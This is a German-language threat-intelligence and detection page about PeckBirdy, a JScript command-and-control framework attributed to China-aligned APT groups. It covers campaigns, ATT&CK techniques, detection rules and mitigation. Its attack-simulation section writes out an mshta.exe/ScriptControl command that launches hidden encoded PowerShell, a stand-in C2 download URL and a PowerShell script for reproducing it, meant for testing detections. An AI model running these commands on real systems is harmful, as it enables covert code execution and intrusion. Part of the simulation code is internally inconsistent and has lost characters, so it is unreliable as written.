PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
PeckBirdy ist ein auf JScript basierendes Command-and-Control-Framework, das von China-ausgerichteten APT-Akteuren genutzt wird, um Living-off-the-Land-Binärdateien zu missbrauchen und modulare Backdoors wie HOLODONUT und MKDOOR bereitzustellen. Es ist darauf ausgelegt, über mehrere Laufzeiten auszuführen – Webbrowser, MSHTA, WScript, NodeJS und .NET – und unterstützt mehrere Transportoptionen wie WebSocket, Flash, Comet und HTTP. Das Framework wurde in Kampagnen beobachtet, die als SHADOW-VOID-044 und SHADOW-EARTH-045 verfolgt werden und die sich gegen Online-Glücksspielressourcen, asiatische Regierungswebportale und eine Bildungseinrichtung richteten.
Untersuchung
Forscher berichteten über bösartige Skriptinjektionen auf kompromittierten Glücksspielseiten und Regierungsseiten, die den PeckBirdy-Loader herunterzogen, der dann nachfolgende Nutzlasten abrief – insbesondere einen Chrome-Exploit (CVE-2020-16040) und zusätzliche Backdoor-Komponenten. Die Aktivität wurde mit zwei modularen Implantaten, HOLODONUT und MKDOOR, in Verbindung gebracht und mit zuvor beobachteten Gruppen und Infrastrukturmustern verbunden. Die Analyse katalogisierte auch Indikatoren für Kompromittierungen, einschließlich IP-Adressen, Domains und operativer Details wie die Verwendung gestohlener Code-Signatur-Zertifikate.
Minderung
Blockieren Sie identifizierte bösartige Domains und IP-Adressen und überwachen Sie atypische LOLBin-Nutzung und Skriptausführung über MSHTA, WScript und NodeJS. Erkennen Sie die Erstellung des unique_id Datei in %TEMP% und erzwingen Sie eine strenge Validierung von Code-Signatur-Zertifikaten. Abdeckung für bekannte Cobalt-Strike-Nutzlasten und Donut-generierte .NET-Assemblies kann die Exposition weiter reduzieren.
Reaktion
Wenn erkannt, isolieren Sie betroffene Systeme, sammeln Sie das eingespritzte Skript und alle produzierten Backdoor-Binärdateien und blockieren Sie die zugehörige C2-Infrastruktur. Führen Sie eine forensische Prüfung auf laterale Bewegungen durch und aktualisieren Sie die Erkennungslogik für die beobachteten Befehlszeilen-Artefakte und Netzwerkverkehrsmuster.
„graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[„<b>Technik</b> – <b>T1659 Inhaltseinschleusung</b><br /><b>Beschreibung</b>: Injektion bösartiger Skripte in kompromittierte Webseiten, um zusätzliche Schadprogramme zu liefern.“] class content_injection technique execution_mshta[„<b>Technik</b> – <b>T1218.005 Ausführung über signierte Binärdateien: Mshta</b><br /><b>Beschreibung</b>: Einsatz von mshta.exe, um bösartige HTML-Anwendungsdateien auszuführen.“] class execution_mshta technique execution_compiled_html[„<b>Technik</b> – <b>T1218.001 Ausführung über signierte Binärdateien: Kompilierte HTML-Datei</b><br /><b>Beschreibung</b>: Verwendung kompilierter HTML-Dateien, um bösartige JScript-Skripte auszuführen.“] class execution_compiled_html technique victim_id_gen[„<b>Prozess</b> – Opfer-Identifikator-Generierung<br />Generiere eine eindeutige Opfer-ID und bereite das bösartige Skript vor.“] class victim_id_gen process credential_steal_cookie[„<b>Technik</b> – <b>T1539 Diebstahl von Web-Session-Cookies</b><br /><b>Beschreibung</b>: Extrahieren von Authentifizierungs-Cookies aus der Browsersitzung des Opfers.“] class credential_steal_cookie technique alt_auth_material_cookie[„<b>Technik</b> – <b>T1550.004 Nutzung alternativer Authentifizierungsmaterialien: Web-Session-Cookie</b><br /><b>Beschreibung</b>: Wiederverwendung gestohlener Sitzungscookies, um sich als das Opfer zu authentifizieren.“] class alt_auth_material_cookie technique defense_evasion_code_signing[„<b>Technik</b> – <b>T1553.002 Untergrabung von Vertrauensvetrauensmaßnahmen: Code-Signierung</b><br /><b>Beschreibung</b>: Einsatz gefälschter oder falsch signierter Codes, um Vertrauensüberprüfungen zu umgehen.“] class defense_evasion_code_signing technique masquerading_invalid_sig[„<b>Technik</b> – <b>T1036.001 Maskierung: Ungültige Codesignatur</b><br /><b>Beschreibung</b>: Präsentation von Binärdateien mit ungültigen Signaturen, um der Erkennung zu entgehen.“] class masquerading_invalid_sig technique reflective_code_loading[„<b>Technik</b> – <b>T1620 Reflektives Code-Laden</b><br /><b>Beschreibung</b>: Laden von Code direkt in den Speicher, ohne den Betriebssystemlader zu verwenden.“] class reflective_code_loading technique process_injection[„<b>Technik</b> – <b>T1055 Prozessinjektion</b><br /><b>Beschreibung</b>: Injektion von bösartigem Code in einen laufenden Prozess, um die Ausführung zu verbergen.“] class process_injection technique impair_defenses[„<b>Technik</b> – <b>T1562 Verteidigungsbeeinträchtigung</b><br /><b>Beschreibung</b>: Deaktivierung oder Manipulation von Sicherheitstools und -einstellungen.“] class impair_defenses technique execution_guardrails[„<b>Technik</b> – <b>T1480 Ausführungsschutzvorrichtungen</b><br /><b>Beschreibung</b>: Implementierung von Prüfpunkten, um nur auf bestimmten Zielen oder Umgebungen auszuführen.“] class execution_guardrails technique obfuscated_embedded_payload[„<b>Technik</b> – <b>T1027.009 Verschleierte Dateien oder Informationen: Eingebettete Nutzlasten</b><br /><b>Beschreibung</b>: Verbergen bösartiger Nutzlasten innerhalb legitimer Dateien oder Datenströme.“] class obfuscated_embedded_payload technique command_and_control_web[„<b>Technik</b> – <b>T1102 Webdienst</b><br /><b>Beschreibung</b>: Nutzung standardmäßiger Webdienste für KommandoundKontroll-Kommunikation.“] class command_and_control_web technique encrypted_channel[„<b>Technik</b> – <b>T1573 Verschlüsselter Kanal</b><br /><b>Beschreibung</b>: Verschlüsselung von C2-Verkehr, um Netzwerkkontrollen zu umgehen.“] class encrypted_channel technique app_layer_web_protocols[„<b>Technik</b> – <b>T1071.001 Anwendungsschichtprotokoll: Webprotokolle</b><br /><b>Beschreibung</b>: Kommunikation über gängige Webprotokolle wie HTTP/HTTPS.“] class app_layer_web_protocols technique data_encoding[„<b>Technik</b> – <b>T1132 Datenkodierung</b><br /><b>Beschreibung</b>: Datenkodierung um Erkennung während der Übertragung zu vermeiden.“] class data_encoding technique lateral_movement_exploit[„<b>Technik</b> – <b>T1210 Ausnutzung von entfernten Diensten</b><br /><b>Beschreibung</b>: Ausnutzung von Schwachstellen in entfernten Diensten, um sich lateral zu bewegen.“] class lateral_movement_exploit technique remote_vulnerability[„<b>Prozess</b> – Ausnutzung der CVEu20112020u201116040 Chrome Schwachstelle“] class remote_vulnerability process rat_holodonut[„<b>Malware</b> – HOLODONUT<br />Benutzerdefinierte Backdoor für Fernzugriff“] class rat_holodonut malware rat_mkdoor[„<b>Malware</b> – MKDOOR<br />Zweite Backdoor, die Persistenz bietet“] class rat_mkdoor malware %% Operator Nodes op_and_exec((„AND“)) class op_and_exec operator %% Connections content_injection u002du002d>|liefert| execution_mshta content_injection u002du002d>|liefert| execution_compiled_html execution_mshta u002du002d>|startet| victim_id_gen execution_compiled_html u002du002d>|startet| victim_id_gen victim_id_gen u002du002d>|bereitet Skript für| credential_steal_cookie credential_steal_cookie u002du002d>|führt zu| alt_auth_material_cookie credential_steal_cookie u002du002d>|ermöglicht| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|umfasst| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|umfasst| reflective_code_loading defense_evasion_code_signing u002du002d>|umfasst| process_injection defense_evasion_code_signing u002du002d>|umfasst| impair_defenses defense_evasion_code_signing u002du002d>|umfasst| execution_guardrails defense_evasion_code_signing u002du002d>|umfasst| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|ermöglicht| command_and_control_web command_and_control_web u002du002d>|nutzt| encrypted_channel encrypted_channel u002du002d>|nutzt| app_layer_web_protocols app_layer_web_protocols u002du002d>|nutzt| data_encoding command_and_control_web u002du002d>|unterstützt| lateral_movement_exploit lateral_movement_exploit u002du002d>|via| remote_vulnerability lateral_movement_exploit u002du002d>|verteilt| rat_holodonut lateral_movement_exploit u002du002d>|verteilt| rat_mkdoor „
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (via Prozess-Erstellung)
Anzeigen
Verdächtiges LOLBAS MSHTA Defense Evasion Verhalten durch Erkennung von zugehörigen Befehlen (via Prozess-Erstellung)
Anzeigen
Verdächtige Veränderung von Defender-Ausnahmen über WMIC (via cmdline)
Anzeigen
IOCs (HashSha1) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
IOCs (SourceIP) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
IOCs (DestinationIP) zur Erkennung: PeckBirdy: Ein vielseitiges Skript-Framework für LOLBins-Exploitation, genutzt von China-ausgerichteten Bedrohungsgruppen
Anzeigen
MSHTA und ScriptControl Nutzung für PeckBirdy-Ausführung [Windows Prozess-Erstellung]
Anzeigen
Erkennung von PeckBirdy-Bösartigen Skript-Injektionen und Anmeldeinformationen-Ernte [Webserver]
Anzeigen
Simulation Ausführung
Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die die Erkennungsregel auslösen soll. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Gegner möchte einen Fernsteuerungskanal mithilfe des PeckBirdy Skript-Frameworks aufbauen. Sie wählenmshta.exe, da es sich um ein signiertes Windows-Binärdatei handelt, das die meisten Anwendungs-Whitelistings umgeht. Die Payload bettet ein ActiveXScriptControlObjekt ein, um JScript-Code auszuführen, der von einem C2-Server abgerufen wird. Die Schritte sind:- Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B.,
http://malicious.c2/payload.js). - Starten
mshta.exemit einem Inlinejavascript:URI, das eineScriptControlInstanz erstellt, das heruntergeladene Skript lädt und es ausführt. - Der JScript-Code richtet einen Reverse-TCP-Listener ein und vervollständigt so den Fußweg.
Die genaue Befehlszeile, die die Telemetrie erzeugt, lautet:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Dieser Befehl enthält sowohl
mshta.exeals auch den StringScriptControl, was die Sigma-Bedingung erfüllt. - Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B.,
-
Regressionstest-Skript:
Das untenstehende Skript automatisiert die bösartigemshtaAufruf. Es kann auf einem Testarbeitsplatz unter einem administrativen Konto ausgeführt werden.#------------------------------------------------- # PeckBirdy-Ausführung über mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Einfache Beacon – ersetzen Sie durch reale Nutzlast sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Kodieren Sie die JScript-Nutzlast, um Zeilenumbruchsprobleme zu vermeiden $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Starten des bösartigen mshta..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Bereinigungsbefehle:
Entfernen Sie alle vom Test erstellten Artefakte (z. B. die temporäre Datei).#------------------------------------------------- # Bereinigung nach PeckBirdy-Simulation #------------------------------------------------- Write-Host "[*] Bereinigen der Testartefakte..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Stoppen Sie alle verbleibenden mshta-Prozesse, die vom Test gestartet wurden Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force